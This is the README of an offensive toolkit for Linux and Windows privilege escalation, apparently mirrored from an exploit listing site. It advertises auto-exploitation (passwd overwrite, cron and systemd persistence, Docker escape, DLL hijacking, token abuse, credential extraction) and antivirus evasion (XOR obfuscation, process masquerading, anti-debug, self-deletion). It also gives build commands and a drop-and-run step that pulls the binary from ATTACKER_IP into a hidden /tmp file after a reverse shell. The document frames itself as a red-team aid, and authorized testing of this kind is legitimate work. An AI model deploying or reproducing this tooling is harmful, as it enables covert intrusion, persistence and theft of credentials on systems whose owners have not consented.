Exploit for stealth-privesc

## https://sploitus.com/exploit?id=51BB629D-FCF7-5AAB-8F72-BDC2A05D6496
# Stealth Privilege Escalation Scanner

A fully evasive privilege escalation reconnaissance and exploitation toolkit for **Linux** and **Windows**, written in Rust. Designed for authorized red team engagements, penetration testing, and security research in controlled lab environments.

> **⚠️ DISCLAIMER:** This toolkit is intended for authorized security testing, CTF challenges, and educational purposes only. Unauthorized use against systems you do not own or have explicit written permission to test is illegal and punishable under applicable cybercrime laws.

---

## Tools

| Tool | Platform | Stealth Rating | Description |
|------|----------|----------------|-------------|
| [**SPES**](./SPES/) | Linux | 20/20 | 12 recon vectors + 7 auto-exploit vectors with XOR obfuscation, process masquerade, self-deletion |
| [**SPES-W**](./SPES-W/) | Windows | 24/24 | 14 recon vectors + 7 exploit checks with anti-debug, binary patching, sandbox detection |

---

## Highlights

### SPES (Linux)
- **12 Reconnaissance vectors** — kernel exploits, SUID/SGID, capabilities, writable files, cron, systemd, Docker/LXC, sudo misconfig, PATH hijack, credentials, root processes
- **7 Auto-exploit vectors** — writable `/etc/passwd`, cron persistence, systemd injection, Docker escape, SUID GTFOBins (120+ binaries), PATH hijack, LD_PRELOAD
- **6 Stealth layers** — XOR obfuscation (40+ strings), process masquerade as `gvfs-udisks2-`, anti-core-dump, self-deletion, minimal binary (343KB)
- **Zero plaintext** — `strings` returns 0 matches for sensitive terms

### SPES-W (Windows)
- **14 Reconnaissance vectors** — token privileges, unquoted services, writable service binaries, AlwaysInstallElevated, auto-logon creds, credential manager, SYSTEM scheduled tasks, writable PATH, UAC config, credential files, network listeners, hotfixes, SYSTEM processes
- **7 Exploit checks** — token abuse (SeImpersonate/SeDebug), MSI install, unquoted services, DLL hijacking, writable services, credential reuse, auto-logon extraction
- **5 Stealth layers** — XOR obfuscation, 101 post-build binary patches, anti-debug, self-deletion, minimal binary (345KB)

---

## Quick Start

### SPES (Linux)
```bash
cd SPES
bash build.sh
# Output: ./spes (335 KB)

# Deploy to target:
./spes s    # Scan — enumerate all vectors
./spes e    # Auto-exploit — attempt automated privilege escalation
./spes a    # Full scan — recon + exploit checks combined
```

### SPES-W (Windows — cross-compile from Linux)
```bash
cd SPES-W
rustup target add x86_64-pc-windows-gnu
sudo apt install gcc-mingw-w64-x86-64
bash build.sh
# Output: ./spes-w.exe (345 KB)

# On Windows target:
.\spes-w.exe s    # Scan mode
.\spes-w.exe e    # Exploit check
.\spes-w.exe a    # Full scan
```

---

## Deployment

SPES tools are designed as **drop-and-run** — deploy via reverse shell, execute, and the binary self-deletes:

```bash
# From attacker (after gaining initial access via reverse shell)
curl http://ATTACKER_IP:8080/spes -o /tmp/.s && chmod +x /tmp/.s
/tmp/.s s    # Binary self-deletes after execution
```

---

## Companion Project

| Repository | Description |
|---|---|
| [**stealth-reverse-shell**](https://github.com/Un-9oon/stealth-reverse-shell) | Stealth Reverse Shell — Linux (ERS) + Windows (ERS-W) |

---

## MITRE ATT&CK Coverage

25+ techniques across Privilege Escalation, Discovery, Persistence, and Defense Evasion tactics. See individual tool READMEs for full mappings.

---

## Lab Environment

Built and tested in:
- **Attacker:** Kali Linux (host)
- **Victim:** Ubuntu VM / Windows VM (VirtualBox)
- **Network:** NAT + host-only adapter

## License

For educational and authorized security research purposes only.